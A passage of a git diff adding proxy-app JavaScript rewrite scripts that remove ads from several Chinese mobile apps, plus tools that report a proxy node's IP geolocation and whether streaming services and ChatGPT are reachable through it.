+ */ +let req_path = $request.path; + +if (req_path && req_path.includes("?")) { + req_path = req_path.substring(0, req_path.index("?")); +} + +// 还可以修改headers + +$done({path: req_path}); diff --git a/Scripts/template/rsp-failure-01.json b/Scripts/template/rsp-failure-01.json new file mode 100644 index 00000000..ea8409db --- /dev/null +++ b/Scripts/template/rsp-failure-01.json @@ -0,0 +1,7 @@ +{ + "code": 1, + "success": false, + "message": "失败", + "data": {}, + "_content": "存储一些公共的响应内容,对于不适用reject-dict的规则,可以使用这些JSON" +} \ No newline at end of file diff --git a/Scripts/template/rsp-success-01.json b/Scripts/template/rsp-success-01.json new file mode 100644 index 00000000..5615465d --- /dev/null +++ b/Scripts/template/rsp-success-01.json @@ -0,0 +1,8 @@ +{ + "code": 0, + "success": true, + "status": "SUCCESS", + "msg": "成功", + "data": {}, + "_content": "存储一些公共的响应内容,对于不适用reject-dict的规则,可以使用这些JSON" +} \ No newline at end of file diff --git a/Scripts/tongcheng/tongcheng.js b/Scripts/tongcheng/tongcheng.js new file mode 100644 index 00000000..03664147 --- /dev/null +++ b/Scripts/tongcheng/tongcheng.js @@ -0,0 +1,17 @@ +let body = JSON.parse($response.body); + +// 删除轮播图 +if (body.hasOwnProperty('data')) { + delete body.data.banner; +} + +// 定义需要过滤的导航项 +const iconsToExclude = ["汽车票优惠", "特惠酒店", "顺风车", "特惠机票"]; + +// 优化下方导航栏的过滤操作 +if (Array.isArray(body.data.icon)) { + body.data.icon = body.data.icon.filter(item => !iconsToExclude.includes(item.name)); +} + +let newBody = JSON.stringify(body); +$done({ body: newBody }); \ No newline at end of file diff --git a/Scripts/tools/LocationDetection.js b/Scripts/tools/LocationDetection.js new file mode 100644 index 00000000..031e959a --- /dev/null +++ b/Scripts/tools/LocationDetection.js @@ -0,0 +1,63 @@ +/* 测试 api + * 地理位置查询 + * 感谢并修改自https://raw.githubusercontent.com/KOP-XIAO/QuantumultX/master/Scripts/geo_location.js + * 脚本功能:检查节点的地理位置 + * 原作者:XIAO_KOP +*/ + +// $environment.params with input params +console.log($environment.params); +var url = "http://ip-api.com/json/"; + +/** + * build 411 版本后 添加$environment.params.nodeInfo对象,表示简单的节点信息 + * 注意:由于安全限制,nodeInfo对象中仅有一下信息 + { + address = "example.com"; + name = "节点名称"; + port = 12443; + tls = 1; + type = Vmess; +} + */ +var inputParams = $environment.params; +var nodeName = inputParams.node; + +/** + * node: Specify network activity on this node + */ +var requestParams = { + "url":url, + "node":nodeName +} + +var message = "" +const paras = ["query","as","org","isp","countryCode","city","lon","lat"]; +const paran = ["远端IP地址","远端IP ASN","ASN所属机构","远端ISP","远端IP地区","远端IP城市","远端经度","远端纬度"]; + +$httpClient.get(requestParams, (error, response, data) => { + if (error) { + message = "

🔴 查询超时" + message = `

` + message + `

` + $done({"title": " 地理位置查询", "htmlMessage": message}); + } else { + console.log(data); + message = data ? json2info(data, paras) : ""; + $done({"title": " 地理位置查询", "htmlMessage": message}); + } +}) + +function json2info(cnt, paras) { + var res = "-------------------------------"; + cnt = JSON.parse(cnt); + console.log(cnt); + for (i = 0;i < paras.length; i ++) { + cnt[paras[i]] = paras[i] == "countryCode" ? cnt[paras[i]] + " ⟦" + flags.get(cnt[paras[i]].toUpperCase()) + "⟧" : cnt[paras[i]]; + res = cnt[paras[i]] ? res + "
" + "" + paran[i] + " : " + ""+ "" + cnt[paras[i]] + "
" : res; + } + res = res + "-------------------------------" + "
" + "" + "节点 ➟ " + $environment.params.node + ""; + res = `

` + res + `

`; + return res; +} + +var flags = new Map([[ "AC" , "🇦🇨" ] ,["AE","🇦🇪"], [ "AF" , "🇦🇫" ] , [ "AI" , "🇦🇮" ] , [ "AL" , "🇦🇱" ] , [ "AM" , "🇦🇲" ] , [ "AQ" , "🇦🇶" ] , [ "AR" , "🇦🇷" ] , [ "AS" , "🇦🇸" ] , [ "AT" , "🇦🇹" ] , [ "AU" , "🇦🇺" ] , [ "AW" , "🇦🇼" ] , [ "AX" , "🇦🇽" ] , [ "AZ" , "🇦🇿" ] , ["BA", "🇧🇦"], [ "BB" , "🇧🇧" ] , [ "BD" , "🇧🇩" ] , [ "BE" , "🇧🇪" ] , [ "BF" , "🇧🇫" ] , [ "BG" , "🇧🇬" ] , [ "BH" , "🇧🇭" ] , [ "BI" , "🇧🇮" ] , [ "BJ" , "🇧🇯" ] , [ "BM" , "🇧🇲" ] , [ "BN" , "🇧🇳" ] , [ "BO" , "🇧🇴" ] , [ "BR" , "🇧🇷" ] , [ "BS" , "🇧🇸" ] , [ "BT" , "🇧🇹" ] , [ "BV" , "🇧🇻" ] , [ "BW" , "🇧🇼" ] , [ "BY" , "🇧🇾" ] , [ "BZ" , "🇧🇿" ] , [ "CA" , "🇨🇦" ] , [ "CF" , "🇨🇫" ] , [ "CH" , "🇨🇭" ] , [ "CK" , "🇨🇰" ] , [ "CL" , "🇨🇱" ] , [ "CM" , "🇨🇲" ] , [ "CN" , "🇨🇳" ] , [ "CO" , "🇨🇴" ] , [ "CP" , "🇨🇵" ] , [ "CR" , "🇨🇷" ] , [ "CU" , "🇨🇺" ] , [ "CV" , "🇨🇻" ] , [ "CW" , "🇨🇼" ] , [ "CX" , "🇨🇽" ] , [ "CY" , "🇨🇾" ] , [ "CZ" , "🇨🇿" ] , [ "DE" , "🇩🇪" ] , [ "DG" , "🇩🇬" ] , [ "DJ" , "🇩🇯" ] , [ "DK" , "🇩🇰" ] , [ "DM" , "🇩🇲" ] , [ "DO" , "🇩🇴" ] , [ "DZ" , "🇩🇿" ] , [ "EA" , "🇪🇦" ] , [ "EC" , "🇪🇨" ] , [ "EE" , "🇪🇪" ] , [ "EG" , "🇪🇬" ] , [ "EH" , "🇪🇭" ] , [ "ER" , "🇪🇷" ] , [ "ES" , "🇪🇸" ] , [ "ET" , "🇪🇹" ] , [ "EU" , "🇪🇺" ] , [ "FI" , "🇫🇮" ] , [ "FJ" , "🇫🇯" ] , [ "FK" , "🇫🇰" ] , [ "FM" , "🇫🇲" ] , [ "FO" , "🇫🇴" ] , [ "FR" , "🇫🇷" ] , [ "GA" , "🇬🇦" ] , [ "GB" , "🇬🇧" ] , [ "HK" , "🇭🇰" ] ,["HU","🇭🇺"], [ "ID" , "🇮🇩" ] , [ "IE" , "🇮🇪" ] , [ "IL" , "🇮🇱" ] , [ "IM" , "🇮🇲" ] , [ "IN" , "🇮🇳" ] , [ "IS" , "🇮🇸" ] , [ "IT" , "🇮🇹" ] , [ "JP" , "🇯🇵" ] , [ "KR" , "🇰🇷" ] , [ "LU" , "🇱🇺" ] , [ "MO" , "🇲🇴" ] , [ "MX" , "🇲🇽" ] , [ "MY" , "🇲🇾" ] , [ "NL" , "🇳🇱" ] , [ "PH" , "🇵🇭" ] , [ "RO" , "🇷🇴" ] , [ "RS" , "🇷🇸" ] , [ "RU" , "🇷🇺" ] , [ "RW" , "🇷🇼" ] , [ "SA" , "🇸🇦" ] , [ "SB" , "🇸🇧" ] , [ "SC" , "🇸🇨" ] , [ "SD" , "🇸🇩" ] , [ "SE" , "🇸🇪" ] , [ "SG" , "🇸🇬" ] , [ "TH" , "🇹🇭" ] , [ "TN" , "🇹🇳" ] , [ "TO" , "🇹🇴" ] , [ "TR" , "🇹🇷" ] , [ "TV" , "🇹🇻" ] , [ "TW" , "🇨🇳" ] , [ "UK" , "🇬🇧" ] , [ "UM" , "🇺🇲" ] , [ "US" , "🇺🇸" ] , [ "UY" , "🇺🇾" ] , [ "UZ" , "🇺🇿" ] , [ "VA" , "🇻🇦" ] , [ "VE" , "🇻🇪" ] , [ "VG" , "🇻🇬" ] , [ "VI" , "🇻🇮" ] , [ "VN" , "🇻🇳" ] , [ "ZA" , "🇿🇦"]]) \ No newline at end of file diff --git a/Scripts/tools/NodeUnlockDetection.js b/Scripts/tools/NodeUnlockDetection.js new file mode 100644 index 00000000..184a93fb --- /dev/null +++ b/Scripts/tools/NodeUnlockDetection.js @@ -0,0 +1,499 @@ +/* + * 节点解锁查询 + * 感谢并修改自 https://raw.githubusercontent.com/KOP-XIAO/QuantumultX/master/Scripts/streaming-ui-check.js + * 脚本功能:检查节点是否支持Dazn/Discovery/Param/Disney/Netflix/ChatGPT/YouTube解锁服务 + * 原作者:XIAO_KOP + */ +const NF_BASE_URL = "https://www.netflix.com/title/81280792"; +const DISNEY_BASE_URL = 'https://www.disneyplus.com'; +const DISNEY_LOCATION_BASE_URL = 'https://disney.api.edge.bamgrid.com/graph/v1/device/graphql'; +const YTB_BASE_URL = "https://www.youtube.com/premium"; +const Dazn_BASE_URL = "https://startup.core.indazn.com/misl/v5/Startup"; +const Param_BASE_URL = "https://www.paramountplus.com/" + +const Discovery_token_BASE_URL = "https://us1-prod-direct.discoveryplus.com/token?deviceId=d1a4a5d25212400d1e6985984604d740&realm=go&shortlived=true" +const Discovery_BASE_URL = "https://us1-prod-direct.discoveryplus.com/users/me" + +const GPT_BASE_URL = 'https://chat.openai.com/' +const GPT_RegionL_URL = 'https://chat.openai.com/cdn-cgi/trace' + +const Google_BASE_URL = 'https://www.google.com/maps/timeline' + +var inputParams = $environment.params; +var nodeName = inputParams.node; + +let flags = new Map([[ "AC" , "🇦🇨" ] ,["AE","🇦🇪"], [ "AF" , "🇦🇫" ] , [ "AI" , "🇦🇮" ] , [ "AL" , "🇦🇱" ] , [ "AM" , "🇦🇲" ] , [ "AQ" , "🇦🇶" ] , [ "AR" , "🇦🇷" ] , [ "AS" , "🇦🇸" ] , [ "AT" , "🇦🇹" ] , [ "AU" , "🇦🇺" ] , [ "AW" , "🇦🇼" ] , [ "AX" , "🇦🇽" ] , [ "AZ" , "🇦🇿" ] , ["BA", "🇧🇦"], [ "BB" , "🇧🇧" ] , [ "BD" , "🇧🇩" ] , [ "BE" , "🇧🇪" ] , [ "BF" , "🇧🇫" ] , [ "BG" , "🇧🇬" ] , [ "BH" , "🇧🇭" ] , [ "BI" , "🇧🇮" ] , [ "BJ" , "🇧🇯" ] , [ "BM" , "🇧🇲" ] , [ "BN" , "🇧🇳" ] , [ "BO" , "🇧🇴" ] , [ "BR" , "🇧🇷" ] , [ "BS" , "🇧🇸" ] , [ "BT" , "🇧🇹" ] , [ "BV" , "🇧🇻" ] , [ "BW" , "🇧🇼" ] , [ "BY" , "🇧🇾" ] , [ "BZ" , "🇧🇿" ] , [ "CA" , "🇨🇦" ] , [ "CF" , "🇨🇫" ] , [ "CH" , "🇨🇭" ] , [ "CK" , "🇨🇰" ] , [ "CL" , "🇨🇱" ] , [ "CM" , "🇨🇲" ] , [ "CN" , "🇨🇳" ] , [ "CO" , "🇨🇴" ] , [ "CP" , "🇨🇵" ] , [ "CR" , "🇨🇷" ] , [ "CU" , "🇨🇺" ] , [ "CV" , "🇨🇻" ] , [ "CW" , "🇨🇼" ] , [ "CX" , "🇨🇽" ] , [ "CY" , "🇨🇾" ] , [ "CZ" , "🇨🇿" ] , [ "DE" , "🇩🇪" ] , [ "DG" , "🇩🇬" ] , [ "DJ" , "🇩🇯" ] , [ "DK" , "🇩🇰" ] , [ "DM" , "🇩🇲" ] , [ "DO" , "🇩🇴" ] , [ "DZ" , "🇩🇿" ] , [ "EA" , "🇪🇦" ] , [ "EC" , "🇪🇨" ] , [ "EE" , "🇪🇪" ] , [ "EG" , "🇪🇬" ] , [ "EH" , "🇪🇭" ] , [ "ER" , "🇪🇷" ] , [ "ES" , "🇪🇸" ] , [ "ET" , "🇪🇹" ] , [ "EU" , "🇪🇺" ] , [ "FI" , "🇫🇮" ] , [ "FJ" , "🇫🇯" ] , [ "FK" , "🇫🇰" ] , [ "FM" , "🇫🇲" ] , [ "FO" , "🇫�" ] , [ "FR" , "🇫🇷" ] , [ "GA" , "🇬🇦" ] , [ "GB" , "🇬🇧" ] , [ "HK" , "🇭🇰" ] ,["HU","🇭🇺"], [ "ID" , "🇮🇩" ] , [ "IE" , "🇮🇪" ] , [ "IL" , "🇮🇱" ] , [ "IM" , "🇮🇲" ] , [ "IN" , "🇮🇳" ] , [ "IS" , "🇮🇸" ] , [ "IT" , "🇮🇹" ] , [ "JP" , "🇯🇵" ] , [ "KR" , "🇰🇷" ] , [ "LU" , "🇱🇺" ] , [ "MO" , "🇲🇴" ] , [ "MX" , "🇲🇽" ] , [ "MY" , "🇲🇾" ] , [ "NL" , "🇳🇱" ] , [ "PH" , "🇵🇭" ] , [ "RO" , "🇷🇴" ] , [ "RS" , "🇷🇸" ] , [ "RU" , "🇷🇺" ] , [ "RW" , "🇷🇼" ] , [ "SA" , "🇸🇦" ] , [ "SB" , "��🇧" ] , [ "SC" , "🇸🇨" ] , [ "SD" , "🇸🇩" ] , [ "SE" , "🇸🇪" ] , [ "SG" , "🇸🇬" ] , [ "TH" , "🇹🇭" ] , [ "TN" , "🇹🇳" ] , [ "TO" , "🇹🇴" ] , [ "TR" , "🇹🇷" ] , [ "TV" , "🇹🇻" ] , [ "TW" , "🇨🇳" ] , [ "UK" , "🇬🇧" ] , [ "UM" , "🇺🇲" ] , [ "US" , "🇺🇸" ] , [ "UY" , "🇺🇾" ] , [ "UZ" , "🇺🇿" ] , [ "VA" , "🇻🇦" ] , [ "VE" , "🇻🇪" ] , [ "VG" , "🇻🇬" ] , [ "VI" , "🇻🇮" ] , [ "VN" , "🇻🇳" ] , [ "ZA" , "🇿🇦"]]) + +let result = { + "title": ' 节点解锁查询', + "YouTube": 'YouTube: 检测失败,请重试� ❗️', + "Netflix": 'Netflix: 检测失败,请重试 ❗️', + "Dazn": "Dazn: 检测失败,请重试 ❗️", + "Disney": "Disneyᐩ: 检测失败,请重试 ❗️", + "Paramount" : "Paramountᐩ: 检测失败,请重试 ❗️", + "Discovery" : "Discoveryᐩ: 检测失败,请重试 ❗️", +} + +let arrow = " ➟ " + +Promise.all([ytbTest(),disneyLocation(),nfTest(),daznTest(),parmTest(),discoveryTest(),gptTest()]).then(value => { + let content = "------------------------------------
"+([result["Dazn"],result["Discovery"],result["Paramount"],result["Disney"],result["Netflix"],result["ChatGPT"],result["YouTube"]]).join("

") + content = content + "
------------------------------------
"+""+"节点 ➟ " + nodeName+ "" + content =`

` + content + `

` + console.log(content); + $done({"title":result["title"],"htmlMessage":content}) +}).catch (values => { + console.log("reject:" + values); + let content = "------------------------------------
"+([result["Dazn"],result["Discovery"],result["Paramount"],result["Disney"],result["Netflix"],result["ChatGPT"],result["YouTube"]]).join("

") + content = content + "
------------------------------------
"+""+"节点 ➟ " + nodeName+ "" + content =`

` + content + `

` + $done({"title":result["title"],"htmlMessage":content}) +}) + +function disneyLocation() { + return new Promise((resolve, reject) => { + let params = { + url: DISNEY_LOCATION_BASE_URL, + node: nodeName, + timeout: 5000, //ms + headers: { + 'Accept-Language': 'en', + "Authorization": 'ZGlzbmV5JmJyb3dzZXImMS4wLjA.Cu56AgSfBTDag5NiRA81oLHkDZfu5L3CKadnefEAY84', + 'Content-Type': 'application/json', + 'User-Agent': 'UA' + }, + body: JSON.stringify({ + query: 'mutation registerDevice($input: RegisterDeviceInput!) { registerDevice(registerDevice: $input) { grant { grantType assertion } } }', + variables: { + input: { + applicationRuntime: 'chrome', + attributes: { + browserName: 'chrome', + browserVersion: '94.0.4606', + manufacturer: 'microsoft', + model: null, + operatingSystem: 'windows', + operatingSystemVersion: '10.0', + osDeviceIds: [], + }, + deviceFamily: 'browser', + deviceLanguage: 'en', + deviceProfile: 'windows', + }, + }, + }), + } + $httpClient.post(params, (errormsg,response,data) => { + console.log("----------disney--------------"); + if (errormsg) { + result["Discovery"] = "Disneyᐩ:检测失败 ❗️"; + resolve("disney request failed:" + errormsg); + return; + } + if (response.status == 200) { + console.log("disney request result:" + response.status); + let resData = JSON.parse(data); + if (resData?.extensions?.sdk?.session != null) { + let { + inSupportedLocation, + location: { countryCode }, + } = resData?.extensions?.sdk?.session + if (inSupportedLocation == false) { + result["Disney"] = "Disneyᐩ: 即将登陆 ➟ "+'⟦'+flags.get(countryCode.toUpperCase())+"⟧ ⚠️" + resolve(); + } else { + result["Disney"] = "Disneyᐩ: 支持 ➟ "+'⟦'+flags.get(countryCode.toUpperCase())+"⟧ 🎉" + resolve({ inSupportedLocation, countryCode }); + } + } else { + result["Disney"] = "Disneyᐩ: 未支持 🚫 "; + resolve(); + } + } else { + result["Discovery"] = "Disneyᐩ:检测失败 ❗️"; + resolve(); + } + }) + }) +} + +function disneyHomePage() { + return new Promise((resolve, reject) => { + let params = { + url: DISNEY_BASE_URL, + node: nodeName, + timeout: 5000, //ms + headers: { + 'Accept-Language': 'en', + 'User-Agent': UA, + } + } + $httpClient.get(params, (errormsg,response,data) => { + if (errormsg) { + resolve(errormsg); + return; + } + if (response.status != 200 || data.indexOf('unavailable') != -1) { + resolve(); + } else { + let match = data.match(/Region: ([A-Za-z]{2})[\s\S]*?CNBL: ([12])/) + if (!match) { + resolve(); + } else { + let region = match[1]; + let cnbl = match[2]; + //console.log("homepage"+region+cnbl) + resolve({region, cnbl}); + } + } + }) + }) +} + +function ytbTest() { + return new Promise((resolve, reject) => { + let params = { + url: YTB_BASE_URL, + node: nodeName, + timeout: 10000, //ms + headers: { + 'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36', + } + } + $httpClient.get(params, (errormsg,response,data) => { + console.log("----------YTB--------------"); + if (errormsg) { + console.log("YTB request failed:" + errormsg); + result["YouTube"] = "YouTube Premium: 检测失败 ❗️"; + resolve(errormsg); + return; + } + if (response.status !== 200) { + result["YouTube"] = "YouTube Premium: 检测失败 ❗️"; + resolve(response.status); + } else { + console.log("YTB request data:" + response.status); + if (data.indexOf('Premium is not available in your country') !== -1) { + result["YouTube"] = "YouTube Premium: 未支持 🚫" + resolve("YTB test failed"); + } else if (data.indexOf('Premium is not available in your country') == -1) { + let region = '' + let re = new RegExp('"GL":"(.*?)"', 'gm') + let ret = re.exec(data) + if (ret != null && ret.length === 2) { + region = ret[1] + } else if (data.indexOf('www.google.cn') !== -1) { + region = 'CN' + } else { + region = 'US' + } + console.log("YTB region:" + region); + result["YouTube"] = "YouTube Premium: 支持 "+arrow+ "⟦"+flags.get(region.toUpperCase())+"⟧ 🎉" + resolve(region); + } else { + result["YouTube"] = "YouTube Premium: 检测超时 🚦"; + resolve("timeout"); + } + } + }) + }) +} + +function daznTest() { + return new Promise((resolve, reject) => { + const extra =`{ + "LandingPageKey":"generic", + "Platform":"web", + "PlatformAttributes":{}, + "Manufacturer":"", + "PromoCode":"", + "Version":"2" + }`; + let params = { + url: Dazn_BASE_URL, + node: nodeName, + timeout: 5000, //ms + headers: { + 'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36', + "Content-Type": "application/json" + }, + body: extra + }; + $httpClient.post(params, (errormsg,response,data) => { + console.log("----------DAZN--------------"); + if (errormsg) { + console.log("Dazn request error:" + errormsg); + result["Dazn"] = "Dazn: 检测失败 ❗️"; + resolve(errormsg); + return; + } + if (response.status == 200) { + console.log("Dazn request data:" + response.status); + let region = '' + let re = new RegExp('"GeolocatedCountry":"(.*?)"', 'gm'); + let ret = re.exec(data) + if (ret != null && ret.length === 2) { + region = ret[1]; + result["Dazn"] = "Dazn: 支持 "+arrow+ "⟦"+flags.get(region.toUpperCase())+"⟧ 🎉"; + } else { + result["Dazn"] = "Dazn: 未支持 🚫"; + } + resolve(region); + } else { + result["Dazn"] = "Dazn: 检测失败 ❗️"; + resolve(response.status); + } + }) + }) + +} + +function parmTest() { + return new Promise((resolve, reject) => { + let params = { + url: Param_BASE_URL, + node: nodeName, + timeout: 5000, //ms + headers: { + 'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36', + } + } + $httpClient.get(params, (errormsg,response,data) => { + console.log("----------PARAM--------------"); + if (errormsg) { + console.log("Param request error:" + errormsg); + result["Paramountᐩ"] = "Paramountᐩ: 检测失败 ❗️"; + resolve(errormsg); + return; + } + console.log("param result:" + response.status); + if (response.status == 200) { + result["Paramount"] = "Paramountᐩ: 支持 🎉 "; + resolve(); + } else if (response.status == 302) { + result["Paramount"] = "Paramountᐩ: 未支持 🚫"; + resolve(); + } else { + result["Paramount"] = "Paramountᐩ: 检测失败 ❗️"; + resolve(); + } + }) + }) +} + +function discoveryTest() { + return new Promise((resolve, reject) => { + let params = { + url: Discovery_token_BASE_URL, + node: nodeName, + timeout: 5000, //ms + headers: { + 'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36', + } + } + $httpClient.get(params, (errormsg,response,data) => { + if (errormsg) { + console.log("Discovery token request error:" + errormsg); + resolve(errormsg); + return; + } + if (response.status == 200) { + console.log("----------Discory token--------------"); + console.log("discovery_token request result:" + data); + let d = JSON.parse(data); + let token = d["data"]["attributes"]["token"]; + const cookievalid =`_gcl_au=1.1.858579665.1632206782; _rdt_uuid=1632206782474.6a9ad4f2-8ef7-4a49-9d60-e071bce45e88; _scid=d154b864-8b7e-4f46-90e0-8b56cff67d05; _pin_unauth=dWlkPU1qWTRNR1ZoTlRBdE1tSXdNaTAwTW1Nd0xUbGxORFV0WWpZMU0yVXdPV1l6WldFeQ; _sctr=1|1632153600000; aam_fw=aam%3D9354365%3Baam%3D9040990; aam_uuid=24382050115125439381416006538140778858; st=${token}; gi_ls=0; _uetvid=a25161a01aa711ec92d47775379d5e4d; AMCV_BC501253513148ED0A490D45%40AdobeOrg=-1124106680%7CMCIDTS%7C18894%7CMCMID%7C24223296309793747161435877577673078228%7CMCAAMLH-1633011393%7C9%7CMCAAMB-1633011393%7CRKhpRz8krg2tLO6pguXWp5olkAcUniQYPHaMWWgdJ3xzPWQmdj0y%7CMCOPTOUT-1632413793s%7CNONE%7CvVersion%7C5.2.0; ass=19ef15da-95d6-4b1d-8fa2-e9e099c9cc38.1632408400.1632406594`; + + let p = { + url: Discovery_BASE_URL, + node: nodeName, + timeout: 5000, + headers: { + 'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36', + "Cookie": cookievalid, + } + } + $httpClient.get(p, (emsg, res, resData) => { + console.log("----------Discory--------------"); + if (emsg) { + console.log("Discovery request error:" + errormsg); + result["Discovery"] = "Discoveryᐩ: 检测失败 ❗️"; + resolve(emsg); + return; + } + if (res.status == 200) { + console.log("Discovery request result:" + resData); + let resD = JSON.parse(resData); + let locationd = resD["data"]["attributes"]["currentLocationTerritory"]; + if (locationd == 'us') { + result["Discovery"] = "Discoveryᐩ: 支持 🎉 "; + resolve(); + } else { + result["Discovery"] = "Discoveryᐩ: 未支持 🚫"; + resolve(); + } + } else { + result["Discovery"] = "Discoveryᐩ: 检测失败 ❗️"; + resolve(res.status); + } + }) + + } else { + result["Discovery"] = "Discoveryᐩ: 检测失败 ❗️"; + resolve(response.status); + } + }) + }) +} + +function nfTest() { + return new Promise((resolve, reject) => { + let params = { + url: NF_BASE_URL, + node: nodeName, + timeout: 6000, //ms + headers: { + 'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.5 Safari/605.1.15', + } + } + + $httpClient.get(params, (errormsg,response,data) => { + console.log("----------NetFlix--------------"); + if (errormsg) { + console.log("NF request failed: " + errormsg); + result["Netflix"] = "Netflix: 检测失败 ❗️"; + resolve(errormsg); + return; + } + if (response.status == 403) { + result["Netflix"] = "Netflix: 未支持 🚫" + resolve("403 Not Available"); + } else if (response.status == 404) { + result["Netflix"] = "Netflix: 支持自制剧集 ⚠️" + resolve("404 Not Found"); + } else if (response.status == 200) { + console.log("NF request result:" + JSON.stringify(response.headers)); + let ourl = response.headers['X-Originating-URL'] + if (ourl == undefined) { + ourl = response.headers['X-Originating-Url'] + } + if (ourl == undefined) { + ourl = response.headers['x-originating-url'] + } + if (ourl == undefined) { + console.log("未知地区") + result["Netflix"] = "Netflix: 完整支持"+arrow+ "⟦未知地区⟧ 🎉" + resolve(region); + } else { + console.log("X-Originating-URL:" + ourl) + let region = ourl.split('/')[3] + region = region.split('-')[0]; + if (region == 'title') { + region = 'us' + } + result["Netflix"] = "Netflix: 完整支持"+arrow+ "⟦"+flags.get(region.toUpperCase())+"⟧ 🎉" + resolve(region); + } + } else { + result["Netflix"] = "Netflix: 检测失败 ❗️"; + resolve(response.status) + } + }) + }) +} + +//chatgpt +support_countryCodes=["T1","XX","AL","DZ","AD","AO","AG","AR","AM","AU","AT","AZ","BS","BD","BB","BE","BZ","BJ","BT","BA","BW","BR","BG","BF","CV","CA","CL","CO","KM","CR","HR","CY","DK","DJ","DM","DO","EC","SV","EE","FJ","FI","FR","GA","GM","GE","DE","GH","GR","GD","GT","GN","GW","GY","HT","HN","HU","IS","IN","ID","IQ","IE","IL","IT","JM","JP","JO","KZ","KE","KI","KW","KG","LV","LB","LS","LR","LI","LT","LU","MG","MW","MY","MV","ML","MT","MH","MR","MU","MX","MC","MN","ME","MA","MZ","MM","NA","NR","NP","NL","NZ","NI","NE","NG","MK","NO","OM","PK","PW","PA","PG","PE","PH","PL","PT","QA","RO","RW","KN","LC","VC","WS","SM","ST","SN","RS","SC","SL","SG","SK","SI","SB","ZA","ES","LK","SR","SE","CH","TH","TG","TO","TT","TN","TR","TV","UG","AE","US","UY","VU","ZM","BO","BN","CG","CZ","VA","FM","MD","PS","KR","TW","TZ","TL","GB"] + +function gptTest() { + return new Promise((resolve, reject) => { + let params = { + url: GPT_BASE_URL, + node: nodeName, + timeout: 5000, //ms + } + $httpClient.get(params, (errormsg,response,data) => { + console.log("----------GPT--------------"); + if (errormsg) { + console.log("GPT request failed:!!! " + errormsg); + result["ChatGPT"] = "ChatGPT: 未支持 🚫" + // resolve(errormsg); + resolve("不支持 ChatGPT") + return; + } + let resp = JSON.stringify(data) + console.log("ChatGPT Main Test") + let jdg = resp.indexOf("text/plain") + if (jdg == -1) { + let p = { + url: GPT_RegionL_URL, + node: nodeName, + timeout: 5000, //ms + } + $httpClient.get(p, (emsg, resheader, resData) => { + console.log("----------GPT RegionL--------------"); + if (emsg) { + console.log("GPT RegionL request error:" + errormsg); + result["ChatGPT"] = "ChatGPT: 检测失败 ❗️"; + resolve(emsg); + return; + } + + console.log("ChatGPT Region Test") + let region = resData.split("loc=")[1].split("\n")[0] + console.log("ChatGPT Region: "+region) + let res = support_countryCodes.indexOf(region) + if (res != -1) { + result["ChatGPT"] = "ChatGPT: 支持 "+arrow+ "⟦"+flags.get(region.toUpperCase())+"⟧ 🎉" + console.log("支持 ChatGPT") + resolve(region) + } else { + result["ChatGPT"] = "ChatGPT: 未支持 🚫" + console.log("不支持 ChatGPT") + resolve("不支持 ChatGPT") + } + }) + } else { + result["ChatGPT"] = "ChatGPT: 未支持 🚫" + console.log("不支持 ChatGPT") + resolve("不支持 ChatGPT") + } + }) + }) +} + +//google送中 +function googleToCN() { + return new Promise((resolve, reject) => { + let params = { + url: Google_BASE_URL, + node: nodeName, + timeout: 3000, //ms + headers:{ + 'Accept-Encoding' : `gzip, deflate, br`, + 'Connection' : `keep-alive`, + 'Accept' : `text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8`, + 'Host' : `www.google.com`, + 'User-Agent' : `Mozilla/5.0 (iPhone; CPU iPhone OS 15_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.1 Mobile/15E148 Safari/604.1`, + 'Accept-Language' : `zh-CN,zh-Hans;q=0.9` + } + } + + $httpClient.get(params, (errormsg,response,data) => { + console.log("----------Google2CN--------------"); + if (errormsg) { + console.log("Google2CN request failed:" + errormsg); + result["Google2CN"] = "2CN: 检测失败 ❗️"; + resolve(errormsg); + return; + } + if (response.status == 400) { + result["Google2CN"] = "2CN: 已被送中" + resolve("404 Not Found"); + } else { + result["Google2CN"] = "2CN: 未被送中" + resolve(response.status); + } + }) + }) +} \ No newline at end of file diff --git a/Scripts/umetrip/umetrip_ads.js b/Scripts/umetrip/umetrip_ads.js new file mode 100644 index 00000000..f14dde94 --- /dev/null +++ b/Scripts/umetrip/umetrip_ads.js @@ -0,0 +1,6 @@ +/** + * 航旅纵横 + */ +const version = 'V1.0.1'; +const ua = $request.headers.rpid || $request.headers.Rpid; +ua.includes("1000002") || ua.includes("1000019") ? $done({status: "HTTP/1.1 404 Not Found"}) : $done({}); diff --git a/Scripts/watsons.js b/Scripts/watsons.js new file mode 100644 index 00000000..51b4138f --- /dev/null +++ b/Scripts/watsons.js @@ -0,0 +1,3 @@ +let obj = JSON.parse($response.body); +delete obj.data; +$done({body: JSON.stringify(obj)}); \ No newline at end of file diff --git a/Scripts/weibo/weibo_ads.js b/Scripts/weibo/weibo_ads.js new file mode 100644 index 00000000..d8aba811 --- /dev/null +++ b/Scripts/weibo/weibo_ads.js @@ -0,0 +1,296 @@ +/** + * @author fmz200 + * @function 微博去广告 + * @date 2025-06-29 23:00:00 + */ + +let url = $request.url; +let body = $response.body; +let resp_data = JSON.parse(body); + +try { + // 1、首次点击发现按钮 + if (url.includes("/search/finder?")) { + console.log('进入发现页...'); + processPayload(resp_data.channelInfo.channels[0].payload); + removeChannelsTabs(resp_data.channelInfo.channels); + if (resp_data.header?.data?.items) { + removeHeaderAds(resp_data.header.data.items); + } + } + + // 2、发现页面刷新/再次点击发现按钮 + if (url.includes("/search/container_timeline?") || url.includes("/search/container_discover?")) { + console.log('刷新发现页...'); + processPayload(resp_data); 